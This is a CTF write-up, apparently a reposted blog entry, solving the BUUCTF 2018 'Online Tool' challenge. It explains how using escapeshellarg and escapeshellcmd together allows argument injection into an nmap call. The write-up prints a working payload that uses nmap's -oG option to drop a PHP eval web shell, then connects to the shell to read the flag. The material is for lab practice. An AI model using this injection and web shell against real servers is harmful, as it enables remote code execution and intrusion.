当前位置:网站首页>BUUCTF WEB [BUUCTF 2018]Online Tool
BUUCTF WEB [BUUCTF 2018]Online Tool
2022-04-23 12:33:00 【Y1Daa】
BUUCTF WEB [BUUCTF 2018]Online Tool
-
Enter the environment , Get a piece of code
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);among ,
escapeshellarg()The function is used to transcode a string to shell The parameters used in the command , That is to escape special symbols such as single quotation marks , And wrap the escaped single quotation marks with two other single quotation marks<?php echo escapeshellarg("123"); // '123' echo escapeshellarg("12' 3");// '12'\'' 3' ?>escapeshellcmd()Function for shell Metacharacter escape , It's in special characters and No paired single quotes Insert before\<?php echo escapeshellcmd("123"); // 123 echo escapeshellcmd("12' 3");// 12\' 3 echo escapeshellcmd("12'' 3");// 12'' 3 ?>Here you can refer to this article Talk about escapeshellarg The problem of parameter bypass and injection (lmxspace.com) Know how to solve this problem
-
Because of the existence of two filters , We can only execute one order . stay nmap There are several parameters in the
OUTPUT: -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename.You can write commands and results to files
-
Here we can use
escapeshellargAndescapeshellcmdUsed together to construct a command execution vulnerability?host=' <?php @eval($_POST["cmd"]);?> -oG shell.php 'Echo as
you are in sandbox ae49321bc77b6271cb2db4ba23d835f1Starting Nmap 7.70 ( https://nmap.org ) at 2022-04-22 05:26 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 1.15 seconds Nmap done: 0 IP addresses (0 hosts up) scanned in 1.15 seconds -
Connect with an ant sword , Find... In the root directory of the file flag file
flag{24d949bf-db37-41b9-9e74-9f9e202d0af7}
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231227159591.html
边栏推荐
- Lesson 25 static member variables of classes
- Pre competition practice of TIANTI competition
- Why is there a wrapper class? By the way, how to convert basic data types, wrapper classes and string classes?
- NPDP|产品经理如何做到不会被程序员排斥?
- The maximum number of remote desktop servers has been exceeded
- 软件测试基础DAY2-用例执行
- IDEA 代码格式化插件Save Actions
- box-sizing
- 画结果图推荐网址
- 第二十三课 临时对象
猜你喜欢

QT draw image

Fastjson 2 is coming, the performance continues to improve, and it can fight for another ten years

mysql中 innoDB执行过程分析

【每日一题】棋盘问题

QT draw text

worder字体网页字体对照表

编程辅助工具推荐:图片工具snipaste

同态加密技术学习

Zero trust in network information security

Dialogue with Bruce, author of PostgreSQL: "changing careers" is to better move forward
随机推荐
Array---
AD20补充笔记3—快捷键+持续更新
Lesson 26 static member functions of classes
S2-062 remote command execution vulnerability recurrence (cve-2021-31805)
The database navigator uses the default MySQL connection prompt: the server time zone value 'Ö Ð¹ ú±ê ×¼ ʱ ¼ ä’ is unrecognized or repres
Here comes the detailed picture and text installation tutorial of H5 game
IDEA 代码质量规范插件SonarLint
box-sizing
SPSS之单因素方差分析
亿级流量架构,服务器如何扩容?写得太好了!
IDEA 代码格式化插件Save Actions
第二十六课 类的静态成员函数
Flash project cross domain interception and DBM database learning [Baotou cultural and creative website development]
【每日一题】棋盘问题
QT draw image
What is a gateway
uni-app 原生APP-本地打包集成极光推送(JG-JPUSH)详细教程
Everything can be expected in the future | one 2022 campus recruitment officially opened
天梯赛赛前练习
免费试用一个月的服务器,并附上教程